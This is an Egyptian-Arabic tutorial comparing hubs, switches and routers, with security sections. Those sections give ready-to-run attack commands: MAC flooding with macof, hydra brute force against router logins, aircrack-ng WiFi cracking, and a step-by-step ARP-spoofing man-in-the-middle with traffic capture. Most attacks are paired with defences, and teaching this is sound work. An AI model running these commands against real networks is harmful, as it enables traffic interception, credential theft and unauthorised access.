شرح الـ Hub و Switch و Router
المقدمة
تخيل إنك عايز توصل مجموعة أجهزة ببعضها. في 3 أجهزة رئيسية ممكن تستخدمهم: Hub و Switch و Router.
كل واحد فيهم بيعمل شغلانة مختلفة، ولو فهمت الفرق بينهم، هتفهم كيف الشبكات بتشتغل وكمان هتعرف نقاط الضعف في كل واحد.
تعالى نبدأ من الأبسط للأعقد.
Hub (المحور)
يعني إيه Hub؟
الـ Hub هو أبسط جهاز لتوصيل الأجهزة ببعضها. فكر فيه زي “مشترك كهربا” - كل حاجة بتدخل من منفذ بتخرج من كل المنافذ التانية.
كيف بيشتغل؟
جهاز A يبعت رسالة لجهاز B
↓
الـ Hub ياخد الرسالة
↓
يبعتها لكل الأجهزة المتصلة
↓
جهاز B ياخدها، والباقي يتجاهلوها
مثال عملي
عندك 4 أجهزة متوصلة بـ Hub:
جهاز A (192.168.1.10)
|
جهاز B (192.168.1.11)
|
[HUB]
|
جهاز C (192.168.1.12)
|
جهاز D (192.168.1.13)
لو جهاز A عايز يبعت رسالة لجهاز B:
- A بيبعت الرسالة للـ Hub
- الـ Hub بيبعتها لـ B و C و D كلهم
- بس B اللي ياخدها، C و D يتجاهلوها
خصائص الـ Hub
| الخاصية | الوصف |
|---|---|
| الطبقة | Physical Layer (Layer 1) |
| الذكاء | صفر - مفيش ذكاء خالص |
| الأمان | سيئ جداً - كل الأجهزة تشوف كل حاجة |
| السرعة | بطيء - مشاركة Bandwidth |
| التكلفة | رخيص جداً |
| الاستخدام الحالي | شبه منقرض - مبيستخدمش دلوقتي |
من ناحية السيكيورتي - كارثة أمنية!
الـ Hub كارثة أمنية لأن كل جهاز بيشوف بيانات كل الأجهزة.
هجوم Passive Sniffing
لو أنت متصل بـ Hub، تقدر بكل بساطة تستخدم أداة زي Wireshark وتشوف كل البيانات اللي عدية على الشبكة:
# شغل Wireshark على جهازك
sudo wireshark
# اختار الـ interface بتاعك
# هتشوف كل الـ packets حتى اللي مش موجهة ليك!
مثال حي
تخيل موظف A بيبعت باسورد لموظف B عبر الشبكة. لو متوصلين بـ Hub، موظف C يقدر يشوف الباسورد بكل سهولة.
A → Hub: "username: admin, password: 123456"
↓
B شافها ✓
C شافها ✓ (المفروض مش المفروض يشوفها!)
D شافها ✓
Switch (المحول)
يعني إيه Switch؟
الـ Switch هو النسخة الذكية من الـ Hub. بدل ما يبعت البيانات لكل الأجهزة، بيبعتها للجهاز المطلوب بس.
كيف بيشتغل؟
الـ Switch عنده MAC Address Table (جدول العناوين)، بيتعلم فيه مين متصل على أنهي منفذ.
جهاز A يبعت رسالة لجهاز B
↓
الـ Switch يشوف في الجدول: B على المنفذ رقم 3
↓
يبعت الرسالة للمنفذ 3 بس
↓
جهاز B بس اللي ياخدها
مثال عملي
نفس الـ 4 أجهزة، بس دلوقتي متوصلين بـ Switch:
Port 1: جهاز A (MAC: AA:AA:AA:AA:AA:AA)
Port 2: جهاز B (MAC: BB:BB:BB:BB:BB:BB)
Port 3: جهاز C (MAC: CC:CC:CC:CC:CC:CC)
Port 4: جهاز D (MAC: DD:DD:DD:DD:DD:DD)
الـ Switch بيعمل جدول زي ده:
╔═══════╦═══════════════════════╗
║ Port ║ MAC Address ║
╠═══════╬═══════════════════════╣
║ 1 ║ AA:AA:AA:AA:AA:AA ║
║ 2 ║ BB:BB:BB:BB:BB:BB ║
║ 3 ║ CC:CC:CC:CC:CC:CC ║
║ 4 ║ DD:DD:DD:DD:DD:DD ║
╚═══════╩═══════════════════════╝
لو A عايز يبعت لـ B:
- A بيبعت Frame فيه MAC بتاع B
- الـ Switch يشوف الجدول: B على Port 2
- يبعت الـ Frame للـ Port 2 بس
- C و D مش هيشوفوا أي حاجة
خصائص الـ Switch
| الخاصية | الوصف |
|---|---|
| الطبقة | Data Link Layer (Layer 2) |
| الذكاء | ذكي - بيتعلم من MAC Addresses |
| الأمان | أفضل من Hub - كل جهاز يشوف بياناته بس |
| السرعة | سريع - كل جهاز له Bandwidth كامل |
| التكلفة | معقول |
| الاستخدام الحالي | الأكثر استخداماً في LANs |
أنواع الـ Switches
1. Unmanaged Switch
- بسيط جداً - شغله وانساه
- مفيش إعدادات
- رخيص
- مناسب للبيوت والمكاتب الصغيرة
2. Managed Switch
- قابل للتخصيص
- إعدادات أمان متقدمة
- VLANs support
- Port mirroring
- غالي
- مناسب للشركات
من ناحية السيكيورتي
الـ Switch أفضل من Hub، لكن مش آمن 100%. في هجمات ممكن تخترقه:
1. MAC Flooding Attack
الفكرة: تغرق الـ Switch بـ MAC addresses وهمية لحد ما الجدول يمتلئ ويبدأ يشتغل زي Hub!
# استخدام أداة macof
sudo macof -i eth0
# هتبدأ تبعت آلاف الـ fake MAC addresses
# الـ Switch table هيمتلئ
# الـ Switch هيبدأ يبعت كل حاجة لكل حد (زي Hub)
الدفاع: Port Security - تحديد عدد أقصى للـ MAC addresses لكل منفذ.
2. ARP Spoofing (عبر Switch)
حتى مع وجود Switch، ممكن تعمل Man-in-the-Middle باستخدام ARP Poisoning:
# استخدام arpspoof للوقوف بين جهازين
sudo arpspoof -i eth0 -t 192.168.1.10 192.168.1.1
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.10
# دلوقتي كل البيانات بين الجهازين هتعدي عليك
الدفاع: Dynamic ARP Inspection (DAI).
3. VLAN Hopping
لو الـ Switch مش متكونفج صح، ممكن تقفز بين VLANs مختلفة:
# استخدام Yersinia
sudo yersinia -G
# ومنها تقدر تعمل DTP attack أو double tagging
الدفاع: تعطيل DTP، تكوين VLANs بشكل صحيح.
تجربة عملية - شوف MAC Table
على Cisco Switch:
Switch> enable
Switch# show mac address-table
Mac Address Table
-------------------------------------------
Vlan Mac Address Type Ports
---- ----------- -------- -----
1 aaaa.aaaa.aaaa DYNAMIC Fa0/1
1 bbbb.bbbb.bbbb DYNAMIC Fa0/2
1 cccc.cccc.cccc DYNAMIC Fa0/3
Router
يعني إيه Router؟
الـ Router هو الجهاز الأذكى - بيوصل شبكات مختلفة ببعضها. بيشتغل على IP Addresses مش MAC.
الوظيفة الأساسية
LAN 1 (192.168.1.0/24)
↓
[Router]
↓
LAN 2 (192.168.2.0/24)
↓
[Router]
↓
Internet
الـ Router بياخد قرارات: “الـ packet ده رايح فين؟ أبعته منين؟”
كيف بيشتغل؟
الـ Router عنده Routing Table (جدول التوجيه) فيه كل الشبكات اللي يعرفها وازاي يوصلها.
مثال عملي
عندك شبكتين:
- LAN 1: 192.168.1.0/24 (البيت)
- Internet: أي مكان تاني
الـ Router بيعمل جدول زي ده:
| Destination | Gateway | Interface | |
|---|---|---|---|
| 192.168.1.0/24 | 0.0.0.0 | eth0 | الشبكة المحلية |
| 0.0.0.0/0 | 10.5.5.1 | eth1 | كل حاجة تانية |
الترجمة:
- أي packet لـ 192.168.1.x: ابعته على eth0 (الشبكة المحلية)
- أي حاجة تانية: ابعته لـ 10.5.5.1 (الـ ISP)
خصائص الـ Router
| الخاصية | الوصف |
|---|---|
| الطبقة | Network Layer (Layer 3) |
| الذكاء | ذكي جداً - بيوجه بين شبكات |
| الوظيفة | Routing + NAT + Firewall + DHCP |
| السرعة | أبطأ من Switch (معالجة أكتر) |
| التكلفة | أغلى من Switch |
| الاستخدام | توصيل الشبكات ببعضها |
وظائف إضافية للـ Router
1. NAT (Network Address Translation)
بيحول الـ IP الداخلي لـ IP عام:
جهازك: 192.168.1.5:54321 → Router → الإنترنت: 41.x.x.x:12345
↓
(NAT يحفظ الترجمة)
↓
الرد من الإنترنت: 41.x.x.x:12345 → Router → جهازك: 192.168.1.5:54321
2. DHCP Server
بيوزع IP addresses على الأجهزة تلقائياً.
3. Firewall
بيفلتر البيانات الداخلة والخارجة.
4. DNS Forwarding
بيوجه طلبات DNS للـ DNS Server.
من ناحية السيكيورتي
الـ Router هو خط الدفاع الأول بتاعك.
1. Default Credentials
أكبر مشكلة: ناس كتير بتسيب Username/Password الافتراضي:
Username: admin
Password: admin
الهجوم:
# جرب Default credentials
hydra -L users.txt -P pass.txt 192.168.1.1 http-get /
الدفاع: غير الباسورد فوراً!
2. Outdated Firmware
Routers قديمة فيها ثغرات معروفة.
# مثال: استغلال ثغرة في Router معين
searchsploit router model
الدفاع: تحديث الـ Firmware باستمرار.
3. Open Ports
منافذ مفتوحة من غير داعي:
# فحص Router من الإنترنت
nmap -sS -p- YOUR_PUBLIC_IP
الدفاع: قفل كل المنافذ غير الضرورية.
4. Weak WiFi Password
# كسر باسورد WiFi ضعيف
aircrack-ng -w wordlist.txt capture.cap
الدفاع: باسورد قوي + WPA3 لو متاح.
تجربة عملية - الدخول للـ Router
# معرفة IP الراوتر (عادة الـ Gateway)
ip route | grep default
# النتيجة:
default via 192.168.1.1 dev eth0
# افتح المتصفح وادخل على:
http://192.168.1.1
# هيطلب Username & Password
شوف Routing Table
على Linux:
route -n
# النتيجة:
Destination Gateway Genmask Flags Iface
0.0.0.0 192.168.1.1 0.0.0.0 UG eth0
192.168.1.0 0.0.0.0 255.255.255.0 U eth0
على Router نفسه (مثلاً Cisco):
Router> enable
Router# show ip route
Gateway of last resort is 10.5.5.1 to network 0.0.0.0
C 192.168.1.0/24 is directly connected, FastEthernet0/0
S* 0.0.0.0/0 [1/0] via 10.5.5.1
المقارنة الشاملة
| Feature | Hub | Switch | Router |
|---|---|---|---|
| OSI Layer | Layer 1 | Layer 2 | Layer 3 |
| Works With | Signals | MAC Address | IP Address |
| Intelligence | None | Medium | High |
| Broadcast | All ports | Same VLAN | Controlled |
| Security | Very Weak | Better | Best |
| Speed | Slowest | Fast | Medium |
| Usage | Obsolete | LAN | WAN / LAN |
سيناريو عملي كامل
الشبكة
[Internet]
|
[Router] ← Layer 3 (IP: 192.168.1.1)
|
[Switch] ← Layer 2 (MAC: learns all)
/ | \
/ | \
PC-A PC-B PC-C ← Layer 1 (physical connection)
السيناريو: PC-A عايز يفتح Google
الخطوة 1: DNS Query
PC-A: محتاج IP بتاع google.com
↓
Switch: شوف الطلب رايح للراوتر (MAC Address)
↓
Router: ده DNS query، ابعته لـ 8.8.8.8
↓
الرد: google.com = 142.250.185.46
↓
Router → Switch → PC-A
الخطوة 2: HTTP Request
PC-A: عايز أتصل بـ 142.250.185.46:443
↓
Switch: الطلب رايح للراوتر
↓
Router:
- ده IP خارجي
- NAT: حول 192.168.1.10:54321 → 41.x.x.x:12345
- ابعته للإنترنت
↓
Google Server يرد
↓
Router:
- الرد لـ 41.x.x.x:12345
- NAT: حوله لـ 192.168.1.10:54321
↓
Switch: شوف MAC بتاع PC-A، ابعتله
↓
PC-A: استلم الرد
هجوم عملي: Man-in-the-Middle
البيئة
- Attacker: 192.168.1.50
- Victim: 192.168.1.10
- Router: 192.168.1.1
- كلهم على نفس الـ Switch
الخطوات
# 1. Enable IP Forwarding (عشان تبقى Router)
echo 1 > /proc/sys/net/ipv4/ip_forward
# 2. ARP Spoofing - كدب على Victim
arpspoof -i eth0 -t 192.168.1.10 192.168.1.1
# 3. ARP Spoofing - كدب على Router
arpspoof -i eth0 -t 192.168.1.1 192.168.1.10
# 4. Capture Traffic
tcpdump -i eth0 -w capture.pcap
# دلوقتي كل بيانات Victim عدية عليك!
النتيجة
Normal: Victim ←→ Router ←→ Internet
Attack: Victim ←→ Attacker ←→ Router ←→ Internet
↑
(شايف كل حاجة)
خلاصة
Hub
- الأبسط: بيبعت لكل حد
- الأبطأ: مشاركة السرعة
- الأخطر: كل حد يشوف كل حاجة
- منقرض: مبيستخدمش دلوقتي
Switch
- ذكي: بيبعت للجهاز المطلوب بس
- سريع: كل جهاز له سرعته
- أفضل أماناً: لكن مش 100%
- الأكثر استخداماً: في كل LAN
Router
- الأذكى: بيوصل شبكات ببعضها
- متعدد الوظائف: Routing + NAT + Firewall
- خط الدفاع الأول: ضروري للأمان
- الأهم: بوابتك للإنترنت
من ناحية السيكيورتي
- Hub: ابعد عنه تماماً
- Switch: آمن نسبياً، لكن ممكن يتهاجم (MAC Flooding, ARP Spoofing)
- Router: لازم تأمنه كويس (غير الباسورد، قفل المنافذ، تحديث Firmware)
في المقالات الجاية هنتعمق في البروتوكولات والهجمات المتعلقة بكل جهاز.